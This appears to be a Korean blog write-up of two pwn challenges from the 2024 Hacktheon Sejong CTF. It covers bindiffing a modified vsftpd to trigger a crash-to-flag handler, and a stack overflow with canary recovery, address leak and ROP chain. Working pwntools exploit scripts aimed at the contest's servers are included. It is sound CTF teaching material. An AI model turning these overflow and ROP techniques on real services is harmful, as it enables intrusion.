Post

2024 Hacktheon Sejong CTF Write up

Findiff - [pwn]

  • ๐Ÿ’Ž pts : 729pts

1. Abstract

  • Binary Diffing (Bindiff)
  • Buffer Overflow

2. Analysis

ํ•ด๋‹น ๋ฌธ์ œ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ์„ ์ด 2๊ฐœ ์ œ๊ณตํ•ด์ค€๋‹ค. ์ฒ˜์Œ์—๋Š” ์™œ 2๊ฐœ์˜ ํŒŒ์ผ์„ ์ œ๊ณตํ•ด ์ฃผ์—ˆ๋Š”์ง€ ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ, ๋ฌธ์ œ์˜ ์ œ๋ชฉ๊ณผ ์„ค๋ช…์—์„œ ๊ทธ ํžŒํŠธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

Untitled

  • vsftpd : ์›๋ณธ vsftpd ๋ฐ”์ด๋„ˆ๋ฆฌ
  • vvsftpd : ์šด์˜์ธก์—์„œ ์ˆ˜์ •ํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ

2๊ฐœ์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋น„๊ต ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด์„œ bindiff๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋””ํ•‘์„ ํ–ˆ๊ณ , ์œ ์‚ฌ๋„๊ฐ€ ๋–จ์–ด์ง„ ๋ถ€๋ถ„์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค.

  • str_netfd_alloc
  • init_connection

Untitled

2-1. init_connection

vvsftpd ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ signal() ์„ ํ†ตํ•ด 11๋ฒˆ Signal์ธ SIGSEGV ๋ฐœ์ƒํ•  ๋•Œ getFlag() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

  • ์ด๋ฅผ ํ†ตํ•ด Memory Access Violation์ด ์ผ์–ด๋‚ฌ์„ ๋•Œ Flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall __noreturn init_connection(_DWORD *a1)
{
  signal(11, (__sighandler_t)getFlag);
  if ( tunable_setproctitle_enable )
    vsf_sysutil_setproctitle("not logged in");
  vsf_cmdio_set_alarm((__int64)a1);
  check_limits(a1);
  if ( tunable_ssl_enable && tunable_implicit_ssl )
    ssl_control_handshake(a1);
  if ( tunable_ftp_enable )
    emit_greeting((__int64)a1);
  parse_username_password(a1);
}

2-2. str_netfd_alloc

vvsftpd์—์„œ๋Š” 24๋ฒˆ ์งธ ์ค„์—์„œ ํ•จ์ˆ˜ ํ˜ธ์ถœ ํ›„ ๋ฆฌํ„ด ๊ฐ’์— ๋Œ€ํ•œ ์˜ˆ์™ธ ์ฒ˜๋ฆฌ๋ฅผ ํ•ด์ฃผ๋Š” ์ฝ”๋“œ๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์— ํ•จ์ˆ˜ ํ˜ธ์ถœ ์‹œ ์˜ˆ์™ธ๊ฐ€ ๋ฐœ์ƒํ•˜์˜€์„ ๋•Œ ํ”„๋กœ๊ทธ๋žจ์ด ๋น„์ •์ƒ ์ข…๋ฃŒ๋  ์ˆ˜ ์žˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/****** vsftp ******/
if ( v19 + v14 != v10 + v9 )
  bug((__int64)"poor buffer accounting in str_netfd_alloc");
if ( !v14 )
  return 0xFFFFFFFFLL;
v15 = a6(a1, v19, v14);
if ( (unsigned int)vsf_sysutil_retval_is_error(v15) )
  die("vsf_sysutil_recv_peek");
if ( !v15 )
  return 0LL;
v18 = v15;

/****** vvsftp ******/
if ( v19 + v14 != v10 + v9 )
  bug((__int64)"poor buffer accounting in str_netfd_alloc");
if ( !v14 )
  return 0xFFFFFFFFLL;
v15 = a6(a1, v19, v14);
if ( !v15 )
  return 0LL;
v18 = v15;

3. Exploit

  • Flag๋ฅผ ์–ป๊ธฐ ์œ„ํ•ด str_netfd_alloc() ์—์„œ ์˜ˆ์™ธ ์ฒ˜๋ฆฌ๊ฐ€ ์—†๋‹ค๋Š” ๊ฒƒ์„ ์ด์šฉํ•˜์—ฌ Memory Access Violation์„ ์œ ๋„ํ•˜์—ฌ SIGSEGV๋ฅผ ๋ฐœ์ƒ์‹œ์ผœ์•ผ ํ•œ๋‹ค.

str_netfd_alloc() ์—์„œ 6๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall str_netfd_alloc(__int64 a1, __int64 a2, char a3, __int64 a4, unsigned int a5, __int64 (__fastcall *a6)(__int64, __int64, _QWORD), __int64 (__fastcall *ssl_read_adapter)(__int64, __int64, _QWORD))
{
  __int64 v9; // [rsp+10h] [rbp-40h]
  unsigned int v10; // [rsp+18h] [rbp-38h]
  unsigned int i; // [rsp+38h] [rbp-18h]
  unsigned int v13; // [rsp+38h] [rbp-18h]
  unsigned int v14; // [rsp+3Ch] [rbp-14h]
  unsigned int v15; // [rsp+40h] [rbp-10h]
  int v16; // [rsp+40h] [rbp-10h]
  int v17; // [rsp+40h] [rbp-10h]
  unsigned int v18; // [rsp+44h] [rbp-Ch]
  __int64 v19; // [rsp+48h] [rbp-8h]

  v9 = a4;
  v10 = a5;
  v19 = a4;
  v14 = a5;
  str_empty(a2);
LABEL_2:
  if ( v19 + v14 != v10 + v9 )
    bug((__int64)"poor buffer accounting in str_netfd_alloc");
  if ( !v14 )
    return 0xFFFFFFFFLL;
  v15 = a6(a1, v19, v14);
  if ( !v15 )
    return 0LL;
  v18 = v15;

str_netfd_alloc() ์„ ํ˜ธ์ถœํ•œ ftp_getline() ํ•จ์ˆ˜๋ฅผ ๋ณด๋ฉด 6๋ฒˆ์งธ ๋งค๊ฐœ๋ณ€์ˆ˜์— ํ•ด๋‹นํ•˜๋Š” ๋ณ€์ˆ˜์— plain_peek_adapter()๋ฅผ ์ €์žฅํ•œ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall ftp_getline(_DWORD *cmd_base, __int64 cmd, __int64 cmd_base_16)
{
  __int64 result; // rax
  int v4; // [rsp+2Ch] [rbp-14h]
  __int64 (__fastcall *v5)(__int64, __int64, _QWORD); // [rsp+30h] [rbp-10h]
  __int64 (__fastcall *v6)(__int64, __int64, unsigned int); // [rsp+38h] [rbp-8h]

  if ( cmd_base[104] && cmd_base[116] )
  {
    priv_sock_send_cmd((unsigned int)cmd_base[118], 4LL);
    v4 = priv_sock_get_int((unsigned int)cmd_base[118]);
    if ( v4 >= 0 )
      priv_sock_get_str((unsigned int)cmd_base[118], cmd);
    result = (unsigned int)v4;
  }
  else
  {
    v5 = (__int64 (__fastcall *)(__int64, __int64, _QWORD))plain_peek_adapter;
    v6 = plain_read_adapter;
    if ( cmd_base[104] )
    {
      v5 = (__int64 (__fastcall *)(__int64, __int64, _QWORD))ssl_peek_adapter;
      v6 = ssl_read_adapter;
    }
    result = str_netfd_alloc(
               (__int64)cmd_base,
               cmd,
               10,
               cmd_base_16,
               0x4000u,
               v5,
               (__int64 (__fastcall *)(__int64, __int64, _QWORD))v6);
  }
  return result;
}

plain_peek_adapter() ๋Š” ๋‚ด๋ถ€์—์„œ vsf_sysutil_recv_peek() ์„ ํ˜ธ์ถœํ•œ๋‹ค.

1
2
3
4
__int64 __fastcall plain_peek_adapter(__int64 a1, void *a2, unsigned int a3)
{
  return vsf_sysutil_recv_peek(0, a2, a3);
}

vsf_sysutil_recv_peek() ๋‚ด๋ถ€์—๋Š” recv() ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋ถ€๋ถ„์ด ์žˆ๋‹ค.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall vsf_sysutil_recv_peek(unsigned int a1, void *a2, unsigned int a3)
{
  int v5; // [rsp+18h] [rbp-8h]
  int v6; // [rsp+1Ch] [rbp-4h]

  do
  {
    v5 = recv(a1, a2, a3, 2);
    v6 = *__errno_location();
    vsf_sysutil_check_pending_actions(1LL, (unsigned int)v5, a1);
  }
  while ( v5 < 0 && v6 == 4 );
  return (unsigned int)v5;
}

recv() ๊ฐ€ ๋ฐ›๋Š” ๋ฒ„ํผ์˜ ํฌ๊ธฐ๋Š” 0x4000 ์ด๋ฏ€๋กœ ํ•ด๋‹น ํฌ๊ธฐ๋ณด๋‹ค ํฐ ์‚ฌ์ด์ฆˆ์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ด๋ฉด buffer overflow๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ ๋น„์ •์ƒ ์ข…๋ฃŒ๊ฐ€ ๋  ์ˆ˜ ์žˆ๋‹ค.

Untitled

3-1. Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.log_level = 'debug'

p = remote('hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com', 5000)

p.recvline()

login_payload = b'USER ANONYMOUS'
p.sendline(login_payload)
p.recvline()

payload = b'A' * 0x4001
p.sendline(payload)

p.interactive()

Intelitigation - [pwn]

  • ๐Ÿ’Ž pts : 807pts

1. Abstract

  • base64 decoding
  • AEG
  • Stack Based Buffer Overflow
  • ROP

2. Analysis

์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์— ์ ‘์†ํ•˜๋ฉด base64๋กœ ์ธ์ฝ”๋”ฉ ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค. ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฅผ ๋””์ฝ”๋”ฉํ•˜๋ฉด ELF ํ˜•์‹์˜ ์‹คํ–‰ํŒŒ์ผ์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.

1
2
3
4
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABEAAAAAAABAAAAAAAAAALAxAAAAAAAAAAAAAEAAOAAN
AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA2AIAAAAAAADYAgAAAAAAAAgA
AAAAAAAAAwAAAAQAAAAYAwAAAAAAABgDAAAAAAAAGAMAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA
...

์ฃผ์š” ํ•จ์ˆ˜๋“ค๋งŒ ๋ถ„์„ํ•ด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

2.1 sub_1324()

  • ์ž…๋ ฅ๊ฐ’์„ ๋ฐ›์•„ buf์— ์ €์žฅ
  • buf๊ฐ’์„ ์ถœ๋ ฅ
  • read() ์—์„œ buf ๋ฐฐ์—ด ํฌ๊ธฐ ๋ณด๋‹ค ํฐ ๊ฐ’์„ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์–ด BOF ๋ฐœ์ƒ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 sub_1324()
{
  __int64 buf[2]; // [rsp+0h] [rbp-210h] BYREF
  char v2[496]; // [rsp+10h] [rbp-200h] BYREF
  unsigned __int64 v3; // [rsp+208h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("input> ");
  buf[0] = 0LL;
  buf[1] = 0LL;
  memset(v2, 0, sizeof(v2));
  read(0, buf, 0x300uLL);
  printf("Your input> ");
  printf("%s", (const char *)buf);
  return v3 - __readfsqword(0x28u);
}

2.2 sub_124e()

  • orw ์—ญํ• ์„ ํ•˜๋Š” ํ•จ์ˆ˜
  • ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ํŒŒ์ผ ์ด๋ฆ„์„ ๋ฐ›์•„ ํ•ด๋‹น ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ถœ๋ ฅ
1
2
3
4
5
6
7
8
ssize_t __fastcall sub_124E(const char *a1)
{
  int fd; // [rsp+1Ch] [rbp-4h]

  fd = open(a1, 0);
  read(fd, &unk_40C0, 0x64uLL);
  return write(1, &unk_40C0, 0x64uLL);
}

3. Exploit

3.1 Mitigation

Stack Smashed Protector์™€ PIE๊ฐ€ ๊ฑธ๋ ค ์žˆ๊ธฐ ๋•Œ๋ฌธ์— Memory Leak์„ ํ†ตํ•ด Canary ๊ฐ’๊ณผ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ผ ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

1
2
3
4
5
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

3.2 Canary Leak

์ด ํ”„๋กœ๊ทธ๋žจ์—์„œ๋Š” ์ž…๋ ฅ/์ถœ๋ ฅ์„ ๊ฐ๊ฐ ํ•œ ๋ฒˆ์”ฉ๋งŒ ํ•  ์ˆ˜ ์žˆ์–ด Canary์„ ์ถœ๋ ฅํ•ด๋„ ๋ฐ”๋กœ ํ”„๋กœ๊ทธ๋žจ์ด ์ข…๋ฃŒ๋œ๋‹ค.

ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ Canary ๊ฐ’์ด ์ €์žฅ๋˜๋Š” ๋ถ€๋ถ„์— ๊ฐ’์„ ์“ฐ๋Š” ๋ถ€๋ถ„์ด ์žˆ๋‹ค.

  • 8๋ฐ”์ดํŠธ ์”ฉ ์ด 10๊ฐœ์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ๋ฐฐ์—ด ํ˜•์‹์œผ๋กœ ์ €์žฅ๋˜์–ด ์žˆ์œผ๋ฉฐ ๊ฐ€์žฅ ์•„๋ž˜์˜ ์ •์ˆ˜๊ฐ€ ํ•ด๋‹น ๋ฐฐ์—ด์˜ ์ธ๋ฑ์Šค๋ฅผ ๋‚˜ํƒ€๋‚ธ๋‹ค.
1
2
3
4
5
6
0000000000004020  D5 B5 DD 93 17 F1 11 DD  B7 17 35 73 51 99 B9 31
0000000000004030  D3 9F 55 F5 F3 11 F7 D7  DB 73 59 79 D3 33 FD 1F
0000000000004040  5D F3 7F 7F D7 B9 59 DD  9F 5D 5B 7D 9D D9 3F D7
0000000000004050  F7 31 D9 F1 B1 3B D5 7D  3F 91 1F 59 5B D3 97 93
0000000000004060  9B 59 F9 3D D1 D3 7B F5  71 F1 D9 FD 1D BB 19 73
0000000000004070  01 00 00 00 00 00 00 00  ?? ?? ?? ?? ?? ?? ?? ?

Canary ๊ฐ’์„ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ •์ƒ์ ์œผ๋กœ ret2main์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

  • return์— ํ•ด๋‹นํ•˜๋Š” ์ฃผ์†Œ์—์„œ 1๋ฐ”์ดํŠธ๋งŒ overwriteํ•˜์—ฌ main์œผ๋กœ ๋ฆฌํ„ด์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

3.3 ROP

orw๋ฅผ ์ด์šฉํ•˜์—ฌ flag๋ฅผ ์ถœ๋ ฅํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ flag ํŒŒ์ผ์ด๋ฆ„์„ ์ „๋‹ฌํ•ด์ฃผ์–ด์•ผ ํ•œ๋‹ค. ํ•˜์ง€๋งŒ ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ์—๋Š” pop rdi; ret; ๊ฐ€์ ฏ์ด ์—†์–ด์„œ ๋‹ค๋ฅธ ๊ฐ€์ ฏ์„ ์ฐพ์•„์•ผ ํ–ˆ๋‹ค.

๊ทธ๋ž˜์„œ ์ฐพ์€ ๊ฐ€์ ฏ์ด mov rdi, rsp; ret; ๊ฐ€์ ฏ์ด๋‹ค.

  • stack์— flag ๋ฌธ์ž์—ด์„ ์ €์žฅํ•˜๊ณ  ๋ฌธ์ž์—ด์ด ์ €์žฅ๋œ stack ์ฃผ์†Œ๋ฅผ rdi ์— ์ €์žฅํ•œ๋‹ค.
1
0x00000000000012b4: mov rdi, rsp; pop r8; ret;

3-4. Exploit Code

์ตœ์ข…์ ์œผ๋กœ exploit flow๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

  • ์ฒซ ๋ฒˆ์งธ ์ž…๋ ฅ์—์„œ Code Section ์ฃผ์†Œ Leak ๋ฐ ret2main
  • orw ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•จ.
  • ROP๋ฅผ ํ†ตํ•ด orw ํ•จ์ˆ˜ ํ˜ธ์ถœ.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import base64

p = remote('hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com', 5001)
start = 0x3020

p.recvline()
p.recvline()
binary = p.recvline()
data = base64.b64decode(binary)

idx = int.from_bytes(data[0x3070:0x3071], 'big')
start = 0x3020 + idx * 8
canary = data[start:start+8]
print(canary)

payload = b'A' * 0x208
payload += canary
payload += b'B' * 8
payload += b'\xed'

p.sendafter('> ', payload)

p.recvuntil(b'B' * 8)
leak = p.recv(6) + b'\x00\x00'
leak = u64(leak)

code_base = leak - 0x13ED
popret = code_base + 0x12b4 # mov rdi, rsp; pop r8; ret;
orw = code_base + 0x124E   # orw
print(hex(code_base))

payload = b'A' * 0x208
payload += canary
payload += b'B' * 8
payload += p64(popret)
payload += b'.//flag\x00'
payload += p64(orw)
p.sendafter('> ', payload)

p.interactive()

This post is licensed under CC BY 4.0 by the author.